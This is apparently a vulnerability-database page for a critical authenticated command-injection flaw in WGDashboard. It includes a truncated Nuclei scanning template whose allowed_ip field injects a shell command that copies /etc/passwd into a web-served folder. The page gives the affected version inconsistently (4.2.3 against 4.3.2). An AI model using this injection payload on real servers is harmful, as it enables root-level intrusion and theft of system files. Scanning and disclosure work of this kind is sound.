CVE-2026-15733
published 2026-08-06CVE-2026-15733: A Remote Code Execution (RCE) vulnerability exist in WGDashboard version 4.2.3 and earlier. Multiple OS command injection allows authenticated attackers to…
PriorityP180critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
10.02%
95.6th percentile
A Remote Code Execution (RCE) vulnerability exist in WGDashboard version 4.2.3 and earlier. Multiple OS command injection allows authenticated attackers to execute arbitrary commands as root.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| wgdashboard | wgdashboard | <= 4.3.2 | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Nuclei
WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read
nuclei·CVSS 9.8
CVE-2026-15733 [CRITICAL] WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read
WGDashboard 0'
condition: and
internal: true
extractors:
- type: regex
name: config_name
part: body
group: 1
internal: true
regex:
- '"Name":"([^"]+)"'
- raw:
- |
POST /api/addPeers/{{config_name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"probe-{{probe}}","allowed_ips":[],"preshared_key_bulkAdd":false}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(peer_id) > 0'
condition: and
internal: true
extractors:
- type: regex
name: peer_id
part: body
group: 1
internal: true
regex:
- '"id":"([^"]+)"'
- raw:
- |
POST /api/updatePeerSettings/{{config_name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id":"{{peer_id}}","name":"probe-{{probe}}","private_key":"","DNS":"1.1.1.1","allowed_ip":"10.253.253.253/32;cp${IFS}/etc/passwd${IFS}static/app
No writeups or analysis indexed.
2026-08-06
Published